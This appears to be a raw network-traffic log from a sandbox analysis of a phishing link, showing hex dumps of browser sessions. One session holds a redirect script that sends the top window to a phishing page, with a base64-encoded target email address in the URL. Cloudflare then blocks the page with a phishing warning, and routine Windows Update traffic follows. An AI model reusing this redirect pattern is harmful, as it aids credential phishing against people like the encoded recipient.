2024-10-18 13:47:49 UTC	217	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:47:49 GMT Server: Apache Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-18 13:47:49 UTC	128	IN	Data Raw: 37 35 0d 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 69 6e 67 61 64 6f 63 65 6c 2e 63 6f 6d 2f 51 5a 36 58 4d 2f 23 31 59 32 46 79 62 48 6b 75 61 6d 39 7a 5a 58 42 6f 51 47 56 32 5a 58 4a 69 63 6d 6c 6b 5a 32 55 75 59 32 39 74 22 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 75<script>window.top.location.href = "https://bookingadocel.com/QZ6XM/#1Y2FybHkuam9zZXBoQGV2ZXJicmlkZ2UuY29t";</script>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49728	188.114.97.3	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:52 UTC	699	OUT	GET /QZ6XM/ HTTP/1.1 Host: bookingadocel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.linksideas.poc-asia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:52 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Fri, 18 Oct 2024 13:47:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gn61H8V8YFUzenAEzztwlFJD9nnCoTTbJRM7mcusgaJzTkATtxJ4E%2F9ZCkI4xmvMzBeuZDrlZb97oBeszdr%2FltgH3yd5hvm%2BnBf%2B4pC2xx1p2otclwsodnpqQ0r%2B720JGdJmcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fb93af6b0c34-DFW
2024-10-18 13:47:52 UTC	805	IN	Data Raw: 31 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1157<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-18 13:47:52 UTC	904	IN	Data Raw: 32 34 31 2e 31 38 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 Data Ascii: 241.186</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error
2024-10-18 13:47:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49729	188.114.97.3	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:52 UTC	567	OUT	GET /cdn-cgi/styles/cf.errors.css HTTP/1.1 Host: bookingadocel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bookingadocel.com/QZ6XM/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:52 UTC	411	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:47:52 GMT Content-Type: text/css Content-Length: 24051 Connection: close Last-Modified: Wed, 16 Oct 2024 12:41:23 GMT ETag: "670fb473-5df3" Server: cloudflare CF-RAY: 8d48fb954a322cbe-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Fri, 18 Oct 2024 15:47:52 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytes
2024-10-18 13:47:52 UTC	958	IN	Data Raw: 23 63 66 2d 77 72 61 70 70 65 72 20 61 2c 23 63 66 2d 77 72 61 70 70 65 72 20 61 62 62 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 61 72 74 69 63 6c 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 61 73 69 64 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 62 2c 23 63 66 2d 77 72 61 70 70 65 72 20 62 69 67 2c 23 63 66 2d 77 72 61 70 70 65 72 20 62 6c 6f 63 6b 71 75 6f 74 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 62 6f 64 79 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 61 6e 76 61 73 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 61 70 74 69 6f 6e 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 65 6e 74 65 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 69 74 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 6f 64 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 64 64 2c 23 63 66 2d 77 72 61 70 70 Data Ascii: #cf-wrapper a,#cf-wrapper abbr,#cf-wrapper article,#cf-wrapper aside,#cf-wrapper b,#cf-wrapper big,#cf-wrapper blockquote,#cf-wrapper body,#cf-wrapper canvas,#cf-wrapper caption,#cf-wrapper center,#cf-wrapper cite,#cf-wrapper code,#cf-wrapper dd,#cf-wrapp
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 74 72 6f 6e 67 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 75 62 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 75 6d 6d 61 72 79 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 75 70 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 61 62 6c 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 62 6f 64 79 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 64 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 66 6f 6f 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 68 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 68 65 61 64 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 75 2c 23 63 66 2d 77 72 61 70 70 65 72 20 75 6c 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f Data Ascii: e,#cf-wrapper strong,#cf-wrapper sub,#cf-wrapper summary,#cf-wrapper sup,#cf-wrapper table,#cf-wrapper tbody,#cf-wrapper td,#cf-wrapper tfoot,#cf-wrapper th,#cf-wrapper thead,#cf-wrapper tr,#cf-wrapper tt,#cf-wrapper u,#cf-wrapper ul{margin:0;padding:0;bo
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 31 2e 35 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 34 36 2c 31 33 39 2c 33 31 2c 2e 33 29 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 73 65 63 74 69 6f 6e 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 65 63 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 30 20 30 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 65 6d Data Ascii: 1.5!important;text-decoration:none!important;letter-spacing:normal;-webkit-tap-highlight-color:rgba(246,139,31,.3);-webkit-font-smoothing:antialiased}#cf-wrapper .cf-section,#cf-wrapper section{background:0 0;display:block;margin-bottom:2em;margin-top:2em
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 6c 64 28 32 6e 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 63 6f 6c 73 2d 34 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 66 6f 75 72 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 74 77 6f 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 32 2e 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 63 6f 6c 73 2d 32 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 Data Ascii: ld(2n),#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.four>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.two>.cf-column:nth-child(2n){padding-left:22.5px;padding-right:0}#cf-wrapper .cf-columns.cols-2>.cf-column:nth-chi
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 66 6f 75 72 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 6f 64 64 29 7b 63 6c 65 61 72 3a 6e 6f 6e 65 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 63 6f 6c 73 2d 34 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 63 6f 6c 73 2d 34 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 34 6e 2b 31 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 66 6f 75 72 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 Data Ascii: ),#cf-wrapper .cf-columns.four>.cf-column:nth-child(odd){clear:none}#cf-wrapper .cf-columns.cols-4>.cf-column:first-child,#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(4n+1),#cf-wrapper .cf-columns.four>.cf-column:first-child,#cf-wrapper .cf-columns
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 30 3b 70 61 64 64 69 6e 67 3a 30 7d 23 63 66 2d 77 72 61 70 70 65 72 20 68 31 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 32 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 33 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 23 63 66 2d 77 72 61 70 70 65 72 20 68 34 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 35 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 36 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 23 63 66 2d 77 72 61 70 70 65 72 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 23 63 66 2d 77 72 61 70 70 65 72 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 33 7d 23 63 66 2d 77 72 61 70 70 65 Data Ascii: 0;padding:0}#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3{font-weight:400}#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper strong{font-weight:600}#cf-wrapper h1{font-size:36px;line-height:1.2}#cf-wrapper h2{font-size:30px;line-height:1.3}#cf-wrappe
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 68 32 2b 68 34 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 32 2b 68 35 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 32 2b 68 36 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 33 2b 68 35 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 33 2b 68 36 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 33 2b 70 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 34 2b 70 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 35 2b 6f 6c 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 35 2b 70 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 35 2b 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 65 6d 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 39 39 39 3b 63 6f 6c Data Ascii: h2+h4,#cf-wrapper h2+h5,#cf-wrapper h2+h6,#cf-wrapper h3+h5,#cf-wrapper h3+h6,#cf-wrapper h3+p,#cf-wrapper h4+p,#cf-wrapper h5+ol,#cf-wrapper h5+p,#cf-wrapper h5+ul{margin-top:.5em}#cf-wrapper .cf-btn{background-color:transparent;border:1px solid #999;col
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 3a 23 36 32 61 31 64 38 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 31 36 33 39 35 39 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 64 61 6e 67 65 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 65 72 72 6f 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 69 6d 70 6f 72 74 61 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 64 32 34 32 36 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 64 61 6e 67 65 72 3a 68 6f 76 65 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 65 72 72 6f 72 3a 68 6f 76 65 72 2c 23 Data Ascii: :#62a1d8;border:1px solid #163959;color:#fff}#cf-wrapper .cf-btn-danger,#cf-wrapper .cf-btn-error,#cf-wrapper .cf-btn-important{background-color:#bd2426;border-color:transparent;color:#fff}#cf-wrapper .cf-btn-danger:hover,#cf-wrapper .cf-btn-error:hover,#
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 61 63 65 3a 6e 6f 77 72 61 70 7d 23 63 66 2d 77 72 61 70 70 65 72 20 69 6e 70 75 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 65 6c 65 63 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 65 78 74 61 72 65 61 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 39 39 39 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 34 30 34 30 34 30 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 36 36 36 37 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 34 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e Data Ascii: ace:nowrap}#cf-wrapper input,#cf-wrapper select,#cf-wrapper textarea{background:#fff!important;border:1px solid #999!important;color:#404040!important;font-size:.86667em!important;line-height:1.24!important;margin:0 0 1em!important;max-width:100%!importan
2024-10-18 13:47:52 UTC	1369	IN	Data Raw: 3a 23 34 30 34 30 34 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 3a 37 2e 35 70 78 20 31 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 61 6c 65 72 74 3a 65 6d 70 74 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 61 6c 65 72 74 20 2e 63 66 2d 63 6c 6f 73 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 2e 37 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 70 61 64 64 69 6e Data Ascii: :#404040;font-size:13px;padding:7.5px 15px;position:relative;vertical-align:middle;border-radius:2px}#cf-wrapper .cf-alert:empty{display:none}#cf-wrapper .cf-alert .cf-close{border:1px solid transparent;color:inherit;font-size:18.75px;line-height:1;paddin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49730	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:53 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Yhetku68lr1x2M1&MD=wcCDAwHU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-18 13:47:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9c6c943a-8046-4a1a-a128-46bce11a46c2 MS-RequestId: 8704e196-de7e-484b-b59c-6b6320c2d400 MS-CV: Qdzw9gyBAkuWhpDX.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 18 Oct 2024 13:47:52 GMT Connection: close Content-Length: 24490
2024-10-18 13:47:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-18 13:47:53 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49732	35.190.80.1	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

